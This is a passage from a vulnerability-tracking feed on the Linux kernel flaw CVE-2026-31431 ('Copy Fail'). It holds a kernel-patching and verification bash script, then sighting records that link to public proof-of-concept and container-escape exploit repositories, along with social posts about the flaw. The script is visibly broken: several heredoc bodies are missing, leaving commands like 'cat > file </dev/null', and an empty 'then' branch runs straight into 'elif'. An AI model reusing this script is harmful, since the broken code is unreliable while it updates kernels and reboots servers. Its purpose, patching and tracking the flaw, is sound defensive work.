log \"Fixed kernel already installed, updating GRUB default\"\n\n        # Set GRUB default to the fixed kernel\n        if grubby --set-default /boot/vmlinuz-$MINIMUM_FIXED_KERNEL 2>&1 | tee -a \"$LOG_FILE\"; then\n            echo -e \"  ${GREEN}GRUB default updated to fixed kernel${NC}\"\n            log \"SUCCESS: GRUB default set to $MINIMUM_FIXED_KERNEL\"\n\n            NEW_KERNEL_INSTALLED=\"kernel-$MINIMUM_FIXED_KERNEL\"\n            UPDATES_AVAILABLE=false\n            VULN_FIX_STATUS=\"TO_BE_VERIFIED_POST_REBOOT\"\n\n            # Skip to save patch status section\n        else\n            echo -e \"  ${RED}Failed to update GRUB default${NC}\"\n            log \"ERROR: Failed to set GRUB default\"\n            exit 1\n        fi\n    else\n        echo \"\"\n        echo \"  Attempting kernel update using AWS recommended method...\"\n        echo \"  Using: dnf update kernel --releasever 2023.11.20260509\"\n        log \"Forcing kernel update with releasever 2023.11.20260509\"\n\n        UPDATES_AVAILABLE=true\n        VULN_FIX_STATUS=\"TO_BE_VERIFIED_POST_REBOOT\"\n    fi\nelif [ \"$DISTRO\" == \"ubuntu\" ] || [ \"$DISTRO\" == \"debian\" ]; then\n    if apt-cache policy linux-image-generic | grep -q \"Candidate:\"; then\n        UPDATES_AVAILABLE=true\n        AVAILABLE_KERNEL=$(apt-cache policy linux-image-generic | grep Candidate | awk '{print $2}')\n        echo \"  Kernel update available: $AVAILABLE_KERNEL\"\n        log \"Kernel update available: $AVAILABLE_KERNEL\"\n\n        echo \"\"\n        echo \"  Proceeding with kernel update to latest version\"\n        log \"Proceeding with kernel update\"\n        VULN_FIX_STATUS=\"TO_BE_VERIFIED_POST_REBOOT\"\n    else\n        echo \"  No kernel updates available - already on latest kernel\"\n        log \"No updates available - system on latest kernel\"\n        echo \"\"\n        echo -e \"${YELLOW}System is already on the latest available kernel.${NC}\"\n        echo \"Current kernel: $CURRENT_KERNEL\"\n        echo \"\"\n        log \"No updates available - exiting\"\n        exit 0\n    fi\nfi\n\n# Step 4: Apply kernel updates (only if not already installed)\nif [ \"$UPDATES_AVAILABLE\" = true ]; then\n    echo \"\"\n    echo \"[4/5] Applying kernel updates...\"\n    log \"Applying kernel updates\"\n\n    echo -e \"${YELLOW}Proceeding with kernel update (automated deployment)${NC}\"\n    log \"Automated kernel update initiated\"\n\n    if [ \"$DISTRO\" == \"amzn\" ] || [ \"$DISTRO\" == \"rhel\" ]; then\n        # AWS recommended command for Amazon Linux 2023\n        log \"Running: dnf update kernel --releasever 2023.11.20260509 -y\"\n        echo \"  Using AWS recommended update command with releasever 2023.11.20260509\"\n        if dnf update kernel --releasever 2023.11.20260509 -y 2>&1 | tee -a \"$LOG_FILE\"; then\n            log \"SUCCESS: Kernel updated successfully\"\n            echo -e \"${GREEN}  Kernel updated successfully${NC}\"\n        else\n            log \"ERROR: Kernel update failed\"\n            echo -e \"${RED}  Kernel update failed${NC}\"\n            exit 1\n        fi\n    fi\nelse\n    echo \"\"\n    echo \"[4/5] Kernel update skipped (already installed, GRUB updated)\"\n    log \"Skipped dnf update - kernel already installed, GRUB updated\"\nfi\n\nif [ \"$UPDATES_AVAILABLE\" = true ]; then\nelif [ \"$DISTRO\" == \"ubuntu\" ] || [ \"$DISTRO\" == \"debian\" ]; then\n    log \"Running: apt-get upgrade linux-image-generic -y\"\n    if apt-get upgrade linux-image-generic -y 2>&1 | tee -a \"$LOG_FILE\"; then\n        log \"SUCCESS: Kernel updated successfully\"\n        echo -e \"${GREEN}  Kernel updated successfully${NC}\"\n    else\n        log \"ERROR: Kernel update failed\"\n        echo -e \"${RED}  Kernel update failed${NC}\"\n        exit 1\n    fi\nfi\n\n# Step 5: Post-patch verification\necho \"\"\necho \"[5/5] Post-patch verification...\"\nlog \"Performing post-patch verification\"\n\nNEW_KERNEL_INSTALLED=$(rpm -qa kernel --last 2>/dev/null | head -1 | awk '{print $1}' || dpkg -l | grep linux-image | tail -1 | awk '{print $3}')\necho \"  New kernel installed: $NEW_KERNEL_INSTALLED\"\nlog \"New kernel installed: $NEW_KERNEL_INSTALLED\"\n\n# Save patch status\ncat > \"/var/log/cve-2026-31431-patch-status.json\" </dev/null; then\n    echo -e \"${GREEN}  Results uploaded to s3://$S3_BUCKET/$RESULTS_PREFIX/$RESULT_FILE${NC}\"\n    log \"Results uploaded to S3 successfully\"\nelse\n    echo -e \"${YELLOW}  Warning: Could not upload results to S3${NC}\"\n    log \"WARNING: S3 upload failed\"\nfi\n\n# Final summary\necho \"\"\necho \"==========================================\"\necho \"PATCHING SUMMARY\"\necho \"==========================================\"\necho -e \"${GREEN}Status: PATCH APPLIED${NC}\"\necho \"\"\necho \"Previous kernel: $CURRENT_KERNEL\"\necho \"New kernel: $NEW_KERNEL_INSTALLED\"\necho \"\"\necho \"Vulnerability Fix Status: Will be verified after reboot\"\necho \"\"\n\n# Schedule post-reboot verification\ncat > \"/var/lib/cloud/scripts/per-boot/verify-kernel-patch.sh\" <<'VERIFY_EOF'\n#!/bin/bash\n# Post-reboot verification script\nHOSTNAME=$(hostname)\nCURRENT_KERNEL=$(uname -r)\nS3_BUCKET=\"eps-server-prep\"\nRESULTS_PREFIX=\"results\"\nMINIMUM_FIXED_KERNEL=\"6.1.170-210.320.amzn2023\"\n\n# Helper function to compare kernel versions\ncompare_kernel_versions() {\n    local current=\"$1\"\n    local minimum=\"$2\"\n\n    local curr_major=$(echo \"$current\" | cut -d. -f1)\n    local curr_minor=$(echo \"$current\" | cut -d. -f2)\n    local curr_patch=$(echo \"$current\" | cut -d. -f3 | cut -d- -f1)\n    local curr_build1=$(echo \"$current\" | cut -d- -f2 | cut -d. -f1)\n    local curr_build2=$(echo \"$current\" | cut -d- -f2 | cut -d. -f2)\n\n    local min_major=$(echo \"$minimum\" | cut -d. -f1)\n    local min_minor=$(echo \"$minimum\" | cut -d. -f2)\n    local min_patch=$(echo \"$minimum\" | cut -d. -f3 | cut -d- -f1)\n    local min_build1=$(echo \"$minimum\" | cut -d- -f2 | cut -d. -f1)\n    local min_build2=$(echo \"$minimum\" | cut -d- -f2 | cut -d. -f2)\n\n    if [ \"$curr_major\" -gt \"$min_major\" ]; then return 0; fi\n    if [ \"$curr_major\" -lt \"$min_major\" ]; then return 1; fi\n    if [ \"$curr_minor\" -gt \"$min_minor\" ]; then return 0; fi\n    if [ \"$curr_minor\" -lt \"$min_minor\" ]; then return 1; fi\n    if [ \"$curr_patch\" -gt \"$min_patch\" ]; then return 0; fi\n    if [ \"$curr_patch\" -lt \"$min_patch\" ]; then return 1; fi\n    if [ \"$curr_build1\" -gt \"$min_build1\" ]; then return 0; fi\n    if [ \"$curr_build1\" -lt \"$min_build1\" ]; then return 1; fi\n    if [ \"$curr_build2\" -ge \"$min_build2\" ]; then return 0; fi\n    return 1\n}\n\n# Check if kernel meets minimum version\nKERNEL_VERSION_STATUS=\"UNKNOWN\"\nif compare_kernel_versions \"$CURRENT_KERNEL\" \"$MINIMUM_FIXED_KERNEL\"; then\n    KERNEL_VERSION_STATUS=\"MEETS_MINIMUM\"\nelse\n    KERNEL_VERSION_STATUS=\"BELOW_MINIMUM\"\nfi\n\n# Check Copy Fail vulnerability\nCOPY_FAIL_STATUS=\"UNKNOWN\"\nif modinfo algif_aead &>/dev/null; then\n    if lsmod | grep -q algif_aead; then\n        COPY_FAIL_STATUS=\"STILL_VULNERABLE\"\n    else\n        COPY_FAIL_STATUS=\"MITIGATED\"\n    fi\nelse\n    COPY_FAIL_STATUS=\"FIXED\"\nfi\n\n# Check Dirty Frag - fixed in kernel 6.1.170+\nDIRTY_FRAG_STATUS=\"UNKNOWN\"\nif [ \"$KERNEL_VERSION_STATUS\" == \"MEETS_MINIMUM\" ]; then\n    DIRTY_FRAG_STATUS=\"FIXED\"\nelse\n    DIRTY_FRAG_STATUS=\"NOT_FIXED\"\nfi\n\n# Check for Phase 1 mitigation file\nif [ -f \"/etc/modprobe.d/disable-algif-aead-cve-2026-31431.conf\" ]; then\n    MITIGATION_ACTIVE=\"YES\"\nelse\n    MITIGATION_ACTIVE=\"NO\"\nfi\n\n# Determine overall status\nOVERALL_STATUS=\"UNKNOWN\"\nif [ \"$KERNEL_VERSION_STATUS\" == \"MEETS_MINIMUM\" ] && [ \"$COPY_FAIL_STATUS\" != \"STILL_VULNERABLE\" ] && [ \"$DIRTY_FRAG_STATUS\" == \"FIXED\" ]; then\n    OVERALL_STATUS=\"FULLY_REMEDIATED\"\nelif [ \"$KERNEL_VERSION_STATUS\" == \"MEETS_MINIMUM\" ] && [ \"$COPY_FAIL_STATUS\" == \"MITIGATED\" ]; then\n    OVERALL_STATUS=\"MITIGATED\"\nelse\n    OVERALL_STATUS=\"NOT_REMEDIATED\"\nfi\n\n# Create post-reboot results\ncat > \"/tmp/${HOSTNAME}-post-reboot-verification.json\" </dev/null\n\n# Remove this script so it only runs once\nrm -f /var/lib/cloud/scripts/per-boot/verify-kernel-patch.sh\nVERIFY_EOF\n\nchmod +x /var/lib/cloud/scripts/per-boot/verify-kernel-patch.sh\nlog \"Post-reboot verification script created\"\n\nif [ \"$AUTO_REBOOT\" == \"yes\" ]; then\n    echo -e \"${YELLOW}AUTOMATIC REBOOT IN 10 SECONDS${NC}\"\n    echo \"\"\n    echo \"The system will reboot automatically in 10 seconds to load the new kernel.\"\n    echo \"Post-reboot verification will run automatically.\"\n    echo \"Results will be uploaded to s3://$S3_BUCKET/$RESULTS_PREFIX/\"\n    echo \"\"\n    log \"Scheduling automatic reboot in 10 seconds\"\n\n    sleep 10\n    log \"Initiating system reboot\"\n    echo \"Rebooting now...\"\n    reboot\nelse\n    echo -e \"${YELLOW}REBOOT REQUIRED${NC}\"\n    echo \"\"\n    echo \"The kernel has been updated. Please reboot to load the new kernel.\"\n    echo \"Post-reboot verification will run automatically after reboot.\"\n    echo \"\"\n    log \"Kernel patching completed - manual reboot required\"\nfi\n\nexit 0\n", "creation_timestamp": "2026-05-19T20:24:34.000000Z"}, {"uuid": "51dad09c-ee63-42ec-a4dd-aa29f9c84b53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84975", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #\u5bb9\u5668\u9003\u9038 #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Container-Escape\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a qi4L\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 18  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 6\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-19 04:02:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 \u5bb9\u5668\u9003\u9038\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-20T09:07:33.000000Z"}, {"uuid": "64bbe920-ab66-45c1-a8dd-6b00ec379c70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmcca5sgio26", "content": "~Cybergcca~\nCCCS issued 5 advisories, including a critical F5 NGINX flaw and updates for Chrome, HPE, FreePBX, and cPanel.\n-\nIOCs: CVE-2026-8711, CVE-2026-31431\n-\n#Patch #ThreatIntel #Vulnerability", "creation_timestamp": "2026-05-20T16:11:27.852941Z"}, {"uuid": "692c96f9-863e-4055-84ef-19ab28bfc250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/hpe-security-advisory-av26-487", "content": "", "creation_timestamp": "2026-05-20T08:29:08.000000Z"}, {"uuid": "3caae6ab-9fc6-4ebc-ad8c-eab7e2d8fb7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mmcukk2goc2y", "content": "Linux \u30ab\u30fc\u30cd\u30eb\u306e\u6c5a\u308c\u305f\u30d5\u30e9\u30b0 LPE \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306f\u3001\u4e3b\u8981\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u5168\u4f53\u3067\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u3092\u53ef\u80fd\u306b\u3057\u307e\u3059\n\nLinux \u30ab\u30fc\u30cd\u30eb\u306b\u5f71\u97ff\u3092\u53ca\u307c\u3059\u65b0\u3057\u3044\u672a\u4fee\u6b63\u306e\u30ed\u30fc\u30ab\u30eb\u7279\u6a29\u30a8\u30b9\u30ab\u30ec\u30fc\u30b7\u30e7\u30f3\uff08LPE\uff09\u8106\u5f31\u6027\u306b\u95a2\u3059\u308b\u8a73\u7d30\u304c\u660e\u3089\u304b\u306b\u306a\u308a\u307e\u3057\u305f\u3002\n\nDirty Frag \u3068\u547c\u3070\u308c\u308b\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u6700\u8fd1\u516c\u8868\u3055\u308c\u305f LPE \u306e\u6b20\u9665\u3067\u3042\u308b Linux \u30ab\u30fc\u30cd\u30eb\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u3001\u305d\u306e\u5f8c\u91ce\u751f\u3067\u7a4d\u6975\u7684\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b Copy Fail\uff08CVE-2026-31431\u3001CVSS \u30b9\u30b3\u30a2: 7.8\uff09\u306e\u5f8c\u7d99\u3068\u3057\u3066\u8a18\u8ff0\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u306f2026\u5e744\u670830\u65e5\u306bLinux\u30ab\u30fc\u30cd\u30eb\u306e\u30e1\u30f3\u30c6\u30ca\u30fc\u306b\u5831\u544a\u3055\u308c\u307e\u3057\u305f", "creation_timestamp": "2026-05-20T21:39:29.264810Z"}, {"uuid": "fad14352-6eac-4a21-8723-8a0991b4fd13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mmcwvd576k2a", "content": "Copy Fail:\nFrom Pod to Host.\nA walkthrough of Copy Fail (CVE-2026-31431) as a container escape primitive: from a 4-byte page cache write to host root on Kubernetes. xint.io/blog/copy-fa...", "creation_timestamp": "2026-05-20T22:22:48.238744Z"}, {"uuid": "22fb173b-9813-4b19-a769-2f34b8e76710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/eEkK6PVbdDfglsyujSuxBWIZjJpDuh84Njq8yhH-Zu1Cfr8", "content": "", "creation_timestamp": "2026-05-18T03:00:06.000000Z"}, {"uuid": "5759774d-18d9-4dba-9bf0-0ade3f5ba0b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/x3hQR0-UI2JUxQyjcWHc5kHBpfVh3Jms4Hr2XANxyksqy3E", "content": "", "creation_timestamp": "2026-05-18T09:00:04.000000Z"}, {"uuid": "6d827a27-9371-4c36-b055-f601181cf703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/QUF9weJLwCd1qHdTEuhp0UyLZi4jvqqQc5vVfkezLkJSkiA", "content": "", "creation_timestamp": "2026-05-19T03:00:06.000000Z"}, {"uuid": "a792da45-2b49-44a0-b266-b097263cf116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/zNPCcRZLVUnG7MzXxuguKud9BYCf7Gj51sr3J84x37QbILk", "content": "", "creation_timestamp": "2026-05-20T09:00:05.000000Z"}, {"uuid": "bf95b445-1500-41ad-8b6d-9584cbb7c1c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jmjm.mstdn.social.ap.brid.gy/post/3mmebc5r4pce2", "content": "I missed this news a week ago, but holy cow, this kernel exploit should be causing a general panic.\n\nhttps://jorijn.com/en/blog/copy-fail-cve-2026-31431-linux-kernel-bug-explained/", "creation_timestamp": "2026-05-21T11:01:06.008171Z"}, {"uuid": "d6dfd797-eac3-4d68-a5f4-c086890c3794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fluery.dev/post/3mmeohlhmi222", "content": "\u0440\u0435\u0448\u0438\u043b\u0430 \u043f\u043e\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 CVE-2026-31431, \u043d\u0430\u0448\u043b\u0430 \u0441\u043a\u0440\u0438\u043f\u0442, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043d\u0430 \u0441\u0432\u043e\u0435\u043c \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 (Proxmox \u0445\u043e\u0441\u0442) \u0438 \u043f\u043e\u043d\u044f\u043b\u0430, \u0447\u0442\u043e \u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c ;(\n\n\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043a\u0438 \u0438\u0437 \u0438\u043d\u0435\u0442\u0430 \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0435\u0433\u043e \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u0438\u043b\u0430\u043c\u0438 \u0438 +-\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0430, \u043a\u0430\u043a \u043e\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u0443\u0441\u0442\u044c \u0438 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u043e...", "creation_timestamp": "2026-05-21T14:55:42.456401Z"}, {"uuid": "9f41cefa-8c27-42cf-82a7-ba71371da0fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fluery.dev/post/3mmeohlhqf222", "content": "\u0440\u0435\u0448\u0438\u043b\u0430 \u043f\u043e\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 CVE-2026-31431, \u043d\u0430\u0448\u043b\u0430 \u0441\u043a\u0440\u0438\u043f\u0442, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043d\u0430 \u0441\u0432\u043e\u0435\u043c \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 (Proxmox \u0445\u043e\u0441\u0442) \u0438 \u043f\u043e\u043d\u044f\u043b\u0430, \u0447\u0442\u043e \u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c ;(\n\n\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043a\u0438 \u0438\u0437 \u0438\u043d\u0435\u0442\u0430 \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0435\u0433\u043e \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u0438\u043b\u0430\u043c\u0438 \u0438 +-\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0430, \u043a\u0430\u043a \u043e\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u0443\u0441\u0442\u044c \u0438 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u043e...", "creation_timestamp": "2026-05-21T14:55:42.989187Z"}, {"uuid": "e66e7f60-5bba-4d30-8ced-15f0c8acbd4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fluery.dev/post/3mmeohmdquk22", "content": "\u0440\u0435\u0448\u0438\u043b\u0430 \u043f\u043e\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 CVE-2026-31431, \u043d\u0430\u0448\u043b\u0430 \u0441\u043a\u0440\u0438\u043f\u0442, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043d\u0430 \u0441\u0432\u043e\u0435\u043c \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 (Proxmox \u0445\u043e\u0441\u0442) \u0438 \u043f\u043e\u043d\u044f\u043b\u0430, \u0447\u0442\u043e \u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c ;(\n\n\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043a\u0438 \u0438\u0437 \u0438\u043d\u0435\u0442\u0430 \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0435\u0433\u043e \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u0438\u043b\u0430\u043c\u0438 \u0438 +-\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0430, \u043a\u0430\u043a \u043e\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u0443\u0441\u0442\u044c \u0438 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u043e...", "creation_timestamp": "2026-05-21T14:55:43.593287Z"}, {"uuid": "973179c5-2b3d-4d01-a349-93d431b10d34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/85294", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-alpine\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 4n4s4zi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-21 22:34:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nMore portable POC of copyfail LPE (CVE-2026-31431) that works on Alpine Linux\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-21T23:00:06.000000Z"}, {"uuid": "7edfe641-96e9-48c2-a7f3-bbbf52488b0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/85278", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail---Minified-LPE-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a JimmyPughtron\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-21 19:47:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-21T20:00:04.000000Z"}, {"uuid": "f644771a-1bf0-412c-9344-a29d135f3c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/85351", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-safe-check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a waltrone1\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-22 06:56:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA safe read-only Linux check for CVE-2026-31431 / Copy Fail without running exploit code.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-22T07:00:04.000000Z"}, {"uuid": "d8e33e9a-2666-480a-a6dc-3cb6fbc6a561", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelhead.bsky.social/post/3mmgnz5q6bs2a", "content": "Habe auf meinem Linux Rechner nachgeschaut wie das mit dem Bugfix f\u00fcr Copy Fail bzw. CVE-2026-31431 aussieht. In meinem Kenrel 5.15.0-179.189 ist der Fix nun drin. \nAktualisierungsverwaltung -> aktivierten Kernel w\u00e4hlen -> Changelog Link \u00f6ffnen.\nTerminal:\napt changelog linux-image-$(uname -r)\n#Linux", "creation_timestamp": "2026-05-22T09:52:57.082460Z"}, {"uuid": "20779b28-911d-4378-be01-d8536e61476c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/85440", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-python\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a wh1sky02\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 